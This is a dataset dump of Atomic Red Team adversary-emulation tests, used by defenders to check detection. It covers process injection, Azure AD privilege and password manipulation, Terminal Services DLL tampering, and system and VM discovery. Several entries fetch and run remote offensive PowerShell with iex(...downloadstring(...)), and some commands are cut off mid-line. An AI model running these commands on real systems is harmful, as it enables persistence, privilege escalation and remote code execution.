deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1055.002: Process Injection: Portable Executable Injection
Test: Portable Executable Injection
Platforms: windows
Executor: powershell

Description:
This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.

Command:
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Cleanup:
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

Dependencies:
Portable Executable to inject must exist at specified location (#{exe_binary})
Atomic Red Team — T1098.003: Account Manipulation: Additional Cloud Roles
Test: Azure AD - Add Company Administrator Role to a user
Platforms: azure-ad
Executor: powershell

Description:
Add an existing Azure user account the Company Administrator Role.


Command:
Import-Module MSOnline
$[CREDENTIAL_REDACTED]-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"


Cleanup:
Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"


Dependencies:
MSOnline module must be installed.
Atomic Red Team — T1098.003: Account Manipulation: Additional Cloud Roles
Test: Simulate - Post BEC persistence via user password reset followed by user added to company administrator role
Platforms: azure-ad
Executor: powershell

Description:
This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.
 Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges


Command:
Import-Module MSOnline
Import-Module AzureAD
$[CREDENTIAL_REDACTED]-SecureString -String "#{auth_password}" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
$targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force
Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue
Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue

#Saving the ObjectId of the target_user into a variable
$target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId

#Reset the password of the target_user
Set-AzureADUserPassword -ObjectId  $target_objid -Password $targetsecurepw -ErrorAction:SilentlyCont

Cleanup:
Import-Module MSOnline
$[CREDENTIAL_REDACTED]-SecureString -String "#{auth_password}" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
Connect-MsolService -Credential $credential
Remove-MsolRoleMember -RoleNam

Dependencies:
MSOnline and AzureAD modules must be installed.
Atomic Red Team — T1505.005: Server Software Component: Terminal Services DLL
Test: Simulate Patching termsrv.dll
Platforms: windows
Executor: powershell

Description:
Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.
Before we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.


Command:
$termsrvDll = "C:\Windows\System32\termsrv.dll"

$ACL = Get-Acl $termsrvDll
$permission = "Administrators","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$ACL.SetAccessRule($accessRule)
Set-Acl -Path $termsrvDll -AclObject $ACL

Copy-Item -Path "C:\Windows\System32\termsrv.dll" -Destination "C:\Windows\System32\termsrv_backup.dll" -ErrorAction Ignore
Add-Content -Path "C:\Windows\System32\termsrv.dll" -Value "`n" -NoNewline -ErrorAction Ignore
Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore


Cleanup:
Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore
Atomic Red Team — T1505.005: Server Software Component: Terminal Services DLL
Test: Modify Terminal Services DLL Path
Platforms: windows
Executor: powershell

Description:
This atomic test simulates the modification of the ServiceDll value in HKLM\System\CurrentControlSet\services\TermService\Parameters. This technique may be leveraged by adversaries to establish persistence by loading a patched version of the DLL containing malicious code.

Command:
$termsrvDll = "C:\Windows\System32\termsrv.dll"

$ACL = Get-Acl $termsrvDll
$permission = "Administrators","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$ACL.SetAccessRule($accessRule)
Set-Acl -Path $termsrvDll -AclObject $ACL

Copy-Item -Path $termsrvDll -Destination "$HOME\AtomicTest.dll"

$newServiceDll = "$HOME\AtomicTest.dll"

$registryPath = "HKLM:\System\CurrentControlSet\services\TermService\Parameters"

# Check if the registry key exists
if (Test-Path -Path $registryPath) {
    # Modify the ServiceDll value in the registry
    Set-ItemProperty -Path $registryPath -Name "ServiceDll" -Value $newServiceDll
    Write-Host "ServiceDll value in the registry has been updated to: $newServiceDll"
} else {
    Write-Host "Regis

Cleanup:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\TermService\Parameters" -Name "ServiceDll" -Value "C:\Windows\System32\termsrv.dll"
Atomic Red Team — T1082: System Information Discovery
Test: System Information Discovery
Platforms: windows
Executor: command_prompt

Description:
Identify System Info. Upon execution, system info and time info will be displayed.


Command:
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
Atomic Red Team — T1082: System Information Discovery
Test: System Information Discovery
Platforms: macos
Executor: sh

Description:
Identify System Info


Command:
system_profiler
ls -al /Applications
Atomic Red Team — T1082: System Information Discovery
Test: List OS Information
Platforms: linux, macos
Executor: sh

Description:
Identify System Info


Command:
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null


Cleanup:
rm #{output_file} 2>/dev/null
Atomic Red Team — T1082: System Information Discovery
Test: Linux VM Check via Hardware
Platforms: linux
Executor: bash

Description:
Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.


Command:
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xe
Atomic Red Team — T1082: System Information Discovery
Test: Linux VM Check via Kernel Modules
Platforms: linux
Executor: bash

Description:
Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.


Command:
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
Atomic Red Team — T1082: System Information Discovery
Test: FreeBSD VM Check via Kernel Modules
Platforms: linux
Executor: sh

Description:
Identify virtual machine host kernel modules.


Command:
kldstat | grep -i "vmm"
kldstat | grep -i "vbox"
Atomic Red Team — T1082: System Information Discovery
Test: Hostname Discovery (Windows)
Platforms: windows
Executor: command_prompt

Description:
Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.


Command:
hostname
Atomic Red Team — T1082: System Information Discovery
Test: Hostname Discovery
Platforms: linux, macos
Executor: sh

Description:
Identify system hostname for FreeBSD, Linux and macOS systems.


Command:
hostname
Atomic Red Team — T1082: System Information Discovery
Test: Windows MachineGUID Discovery
Platforms: windows
Executor: command_prompt

Description:
Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.


Command:
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
Atomic Red Team — T1082: System Information Discovery
Test: Griffon Recon
Platforms: windows
Executor: powershell

Description:
This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre 
in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).  
For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)

Command:
cscript "#{vbscript}"


Dependencies:
Sample script file must exist on disk at specified location (#{vbscript})
Atomic Red Team — T1082: System Information Discovery
Test: Environment variables discovery on windows
Platforms: windows
Executor: command_prompt

Description:
Identify all environment variables. Upon execution, environments variables and your path info will be displayed.


Command:
set
Atomic Red Team — T1082: System Information Discovery
Test: Environment variables discovery on freebsd, macos and linux
Platforms: linux, macos
Executor: sh

Description:
Identify all environment variables. Upon execution, environments variables and your path info will be displayed.


Command:
env
Atomic Red Team — T1082: System Information Discovery
Test: Show System Integrity Protection status (MacOS)
Platforms: macos
Executor: sh

Description:
Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.


Command:
csrutil status
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - winPEAS
Platforms: windows
Executor: powershell

Description:
Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - itm4nprivesc
Platforms: windows
Executor: powershell

Description:
Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - Powersploits privesc checks
Platforms: windows
Executor: powershell

Description:
Powersploits privesc checks using oldchecks function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput

Cleanup:
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - General privesc checks
Platforms: windows
Executor: powershell

Description:
General privesc checks using the otherchecks function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - GeneralRecon
Platforms: windows
Executor: powershell

Description:
Collect general computer informations via GeneralRecon function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - Morerecon
Platforms: windows
Executor: powershell

Description:
Gathers local system information using the Morerecon function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - RBCD-Check
Platforms: windows
Executor: powershell

Description:
Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - PowerSharpPack - Watson searching for missing windows patches
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Watson searching for missing windows patches  technique via function of WinPwn

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
Atomic Red Team — T1082: System Information Discovery
Test: WinPwn - PowerSharpPack - Seatbelt
Platforms: windows
Executor: powershell

Description:
PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Command:
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
Atomic Red Team — T1082: System Information Discovery
Test: Azure Security Scan with SkyArk
Platforms: azure-ad
Executor: powershell

Description:
Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. 
See https://github.com/cyberark/SkyArk 


Command:
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force      
$[CREDENTIAL_REDACTED]-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred


Cleanup:
$resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue


Dependencies:
The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads.

The AzureAD module must be installed.

The Az module must be installed.
Atomic Red Team — T1082: System Information Discovery
Test: Linux List Kernel Modules
Platforms: linux
Executor: sh

Description:
Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.


Command:
lsmod
kmod list
grep vmw /proc/modules
Atomic Red Team — T1082: System Information Discovery
Test: FreeBSD List Kernel Modules
Platforms: linux
Executor: sh

Description:
Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.


Command:
kldstat
kldstat | grep vmm
Atomic Red Team — T1082: System Information Discovery
Test: System Information Discovery with WMIC
Platforms: windows
Executor: command_prompt

Description:
Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.
https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:
https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar
https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/


Command:
wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
Get-WmiObject win32_bios
Atomic Red Team — T1082: System Information Discovery
Test: System Information Discovery
Platforms: windows
Executor: command_prompt

Description:
The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/


Command:
wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs
Atomic Red Team — T1082: System Information Discovery
Test: Check computer location
Platforms: windows
Executor: command_prompt

Description:
Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1


Command:
reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"
Atomic Red Team — T1082: System Information Discovery
Test: BIOS Information Discovery through Registry
Platforms: windows
Executor: command_prompt

Description:
Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments.  Upon execution, BIOS information will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
- https://evasions.checkpoint.com/techniques/registry.html


Command:
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion
Atomic Red Team — T1082: System Information Discovery
Test: ESXi - VM Discovery using ESXCLI
Platforms: windows
Executor: command_prompt

Description:
An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1082: System Information Discovery
Test: ESXi - Darkside system information discovery
Platforms: windows
Executor: command_prompt

Description:
Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host.
[Reference](https://www.trendmicro.com/en_ph/research/21/e/darkside-linux-vms-targeted.html)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1082: System Information Discovery
Test: sysctl to gather macOS hardware info
Platforms: macos
Executor: sh

Description:
Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.

Command:
sysctl -n hw.model
Atomic Red Team — T1082: System Information Discovery
Test: operating system discovery 
Platforms: windows
Executor: powershell

Description:
operating system discovery using get-ciminstance
https://petri.com/getting-operating-system-information-powershell/

Command:
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null
Atomic Red Team — T1082: System Information Discovery
Test: Check OS version via "ver" command
Platforms: windows
Executor: command_prompt

Description:
Ver command shows information about os version.

Command:
ver
Atomic Red Team — T1082: System Information Discovery
Test: Display volume shadow copies with "vssadmin"
Platforms: windows
Executor: command_prompt

Description:
The command shows all available volume shadow copies, along with their creation time and location.

Command:
vssadmin.exe list shadows